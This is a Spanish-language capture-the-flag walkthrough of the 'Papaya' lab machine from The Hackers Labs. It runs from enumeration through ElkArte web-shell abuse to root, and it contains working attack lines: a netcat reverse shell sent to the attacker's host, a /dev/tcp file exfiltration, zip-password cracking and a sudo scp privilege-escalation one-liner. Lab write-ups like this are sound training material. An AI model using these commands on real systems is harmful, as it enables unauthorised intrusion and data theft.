Estamos ante una máquina Linux de nivel principiante creada por CuriosidadesDeHackers y condor de la plataforma The Hackers Labs.
Una vez importada la máquina a nuestro VirtualBox hacemos un escaneo de IPs a nuestra red:
sudo arp-scan -I eth1 --localnet
[sudo] password for murrusko:
Interface: eth1, type: EN10MB, MAC: 08:00:27:5e:91:9b, IPv4: 10.0.2.5
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
10.0.2.1 52:54:00:12:35:00 QEMU
10.0.2.2 52:54:00:12:35:00 QEMU
10.0.2.3 08:00:27:80:58:9b PCS Systemtechnik GmbH
10.0.2.147 08:00:27:5a:99:51 PCS Systemtechnik GmbH
Enumeración
Como vemos la máquina tiene asignada la IP 10.0.2.147
.
Empezamos realizando un escaneo de puertos con nmap
. Hacemos un escaneo silencioso-sS
, a todos los puertos -p-
, que nos de detalles del escaneo -v
, que no haga ping al host -Pn
, que no haga resolución de DNS -n
a nuestra máquina victima 10.0.2.147
:
sudo nmap -sS -p- -Pn -n -v 10.0.2.147
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Una vex que tenemos qué puertos están abiertos hacemos otro escaneo con nmap
, pero esta vez para ver con mas detalle que hay en esos puertos:
sudo nmap -sCV -p21,22,80 -v 10.0.2.147
PORT STATE SERVICE VERSION
21/tcp open ftp
| fingerprint-strings:
| GenericLines:
| 220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
| Orden incorrecta: Intenta ser m
| creativo
| Orden incorrecta: Intenta ser m
| creativo
| Help:
| 220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
| 214-Se reconocen las siguiente
| rdenes (* =>'s no implementadas):
| XCWD CDUP XCUP SMNT* QUIT PORT PASV
| EPRT EPSV ALLO RNFR RNTO DELE MDTM RMD
| XRMD MKD XMKD PWD XPWD SIZE SYST HELP
| NOOP FEAT OPTS HOST CLNT AUTH* CCC* CONF*
| ENC* MIC* PBSZ* PROT* TYPE STRU MODE RETR
| STOR STOU APPE REST ABOR RANG USER PASS
| ACCT* REIN* LIST NLST STAT SITE MLSD MLST
| comentario a root@papaya
| NULL, SMBProgNeg, SSLSessionReq:
|_ 220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 19 Jul 2 15:26 secret.txt
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 bb:05:10:69:18:eb:e3:44:2c:a7:68:98:d0:97:01:20 (ECDSA)
|_ 256 65:41:aa:54:a6:b7:f7:2a:04:2e:c4:6a:c0:4d:10:35 (ED25519)
80/tcp open http Apache httpd 2.4.59
|_http-title: Did not follow redirect to http://papaya.thl/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.59 (Debian)
De este último escaneo obtenemos que la web tiene como nombre de dominio papaya.thl y que podemos acceder al FTP de forma anónima. Primero añadimos el dominio a nuestro fichero hosts:
echo "10.0.2.147 papaya.thl" | sudo tee -a /etc/hosts
10.0.2.147 papaya.thl
Y después nos conectamos al servidor FTP para ver si encontramos algo. Usamos las credenciales ftp:ftp y nos descargamos todo lo que encontremos:
ftp 10.0.2.147
Connected to 10.0.2.147.
220 Servidor ProFTPD (Debian) [::ffff:10.0.2.147]
Name (10.0.2.147:murrusko): ftp
331 Conexión anónima ok, envía tu dirección de email como contraseña
Password:
230 Aceptado acceso anónimo, aplicadas restricciones
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||1408|)
150 Abriendo conexión de datos en modo ASCII para file list
-rw-r--r-- 1 ftp ftp 19 Jul 2 15:26 secret.txt
226 Transferencia completada
ftp> get secret.txt
local: secret.txt remote: secret.txt
229 Entering Extended Passive Mode (|||43904|)
150 Opening BINARY mode data connection for secret.txt (19 bytes)
100% |******************| 19 11.75 KiB/s 00:00 ETA
226 Transferencia completada
19 bytes received in 00:00 (4.68 KiB/s)
ftp> bye
221 Hasta luego
Vemos que contiene el fichero secret.txt:
cat secret.txt
ndhvabunlanqnpbñb
Intentamos desencriptar el texto usando la técnica de ROT13:
cat secret.txt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
aquinohaynadacoño
Nos lo guardamos por si hiciera falta.
Ahora vamos a ver que contiene el servidor web con whatweb:
whatweb -a 3 http://papaya.thl
http://papaya.thl [200 OK] Apache[2.4.59], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.59 (Debian)], IP[10.0.2.147], JQuery[3.6.0], PasswordField[passwrd], PoweredBy[ElkArte], Script, Title[My Community - Index], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1]
Vemos que usa ElkArte, un framework en php para crear un foro. Buscando posibles exploit para ese framework encontramos el siguiente PoC https://www.exploit-db.com/exploits/52026. Como podemos ver se puede conseguir un RCE subiendo un theme, pero es necesario estar autenticado y tener permisos para modificar los themes. Probando las credenciales que tenemos vemos que no obtenemos acceso.
Vamos a buscar ficheros y directorios con feroxbuster:
$ feroxbuster -u http://papaya.thl/themes/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x php -r
500 GET 4l 13w 89c http://papaya.thl/themes/test/test.php
...
Intrusión
Entre otros vemos un archivo un tanto raro. Si hemos leido el enlace anterior vemos que el fichero coincide con el PoC. Vamos a probar a ver que nos responde:
curl http://papaya.thl/themes/test/test.php
# Execute one command
www-data
# Take input from the url paramter. shell.php?cmd=whoami
Vemos que ejecuta un comando como www-data, pero para ello hay que añadir a la petición ?cmd=comando. Nos ponemos a la escucha en nuestra máquina. Para obtener una shell reversa hay que mandar el comando encodeado como URL:
curl http://papaya.thl/themes/test/test.php?cmd=busybox+nc+10.0.2.5+8888+-e+bash
Y obtenemos la shell reversa. Hacemos el tratamiento de la shell para obtener la TTY completa:
$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.147] 59434
script /dev/null -qc bash
www-data@papaya:/var/www/html/elkarte/themes/test$ ^Z
zsh: suspended nc -nlvp 8888
$ stty raw -echo; fg
[1] + continued nc -nlvp 8888
ls
test.php
www-data@papaya:/var/www/html/elkarte/themes/test$ export TERM=xterm
www-data@papaya:/var/www/html/elkarte/themes/test$ reset
www-data@papaya:/var/www/html/elkarte/themes/test$
Una vez dentro del sistema vemos que hay un usuario llamado papaya:
www-data@papaya:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
papaya:x:1000:1000:,,,:/home/papaya:/bin/bash
Haciendo una búsqueda por el servidor nos encontramos con un fichero zip en el directorio /opt:
www-data@papaya:/home$ ls -l /opt/
total 4
-rwxr-xr-x 1 root root 173 Jul 2 17:14 pass.zip
Nos ponemos a la eschucha en nuestra máquina redirigiéndo la salida a un fichero llamado pass.zip y nos mandamos el fichero zip del servidor a nuestra máquina:
www-data@papaya:/opt$ cat pass.zip > /dev/tcp/10.0.2.5/8889
$ nc -nlvp 8889 > pass.zip
listening on [any] 8889 ...
connect to [10.0.2.5] from (UNKNOWN) [10.0.2.147] 35802
Intentamos descomprimirlo pero vemos que es necesaria una clave para extraer el contenido. Usando zip2john creamos el hash del fichero para luego intentar crackearlo:
zip2john pass.zip > pass.hash
ver 2.0 pass.zip/pass.txt PKZIP Encr: cmplen=23, decmplen=11, crc=EEA46B01 ts=89BB cs=eea4 type=0
Ahora usamos john para intentar encontrar la password:
$ john --wordlist=/usr/share/wordlists/rockyou.txt pass.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jesica (pass.zip/pass.txt)
Descomprimimos el fichero con la clave recién obtenida y leemos el fichero que hay dentro:
$ cat pass.txt
papayarica
Nos logeamos como papaya:
www-data@papaya:/opt$ su papaya
Password:
papaya@papaya:/opt$ id
uid=1000(papaya) gid=1000(papaya) grupos=1000(papaya),100(users)
papaya@papaya:/opt$
Escalada de privilegios
Vamos a ver si el usuario puede ejecutar algún comando como root:
papaya@papaya:/opt$ sudo -l
Matching Defaults entries for papaya on papaya:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User papaya may run the following commands on papaya:
(root) NOPASSWD: /usr/bin/scp
Vemos que puede usar el comando scp como root. Buscamos en GTFOBins el comando y ejecutamos:
TF=$(mktemp) && echo 'bash 0<&2 1>&2' > $TF && chmod +x "$TF" && sudo scp -S $TF x y:
root@papaya:~# whoami; hostname; id
root
papaya
uid=0(root) gid=0(root) grupos=0(root)
root@papaya:~#
Y con esto terminamos la máquina.
Un saludo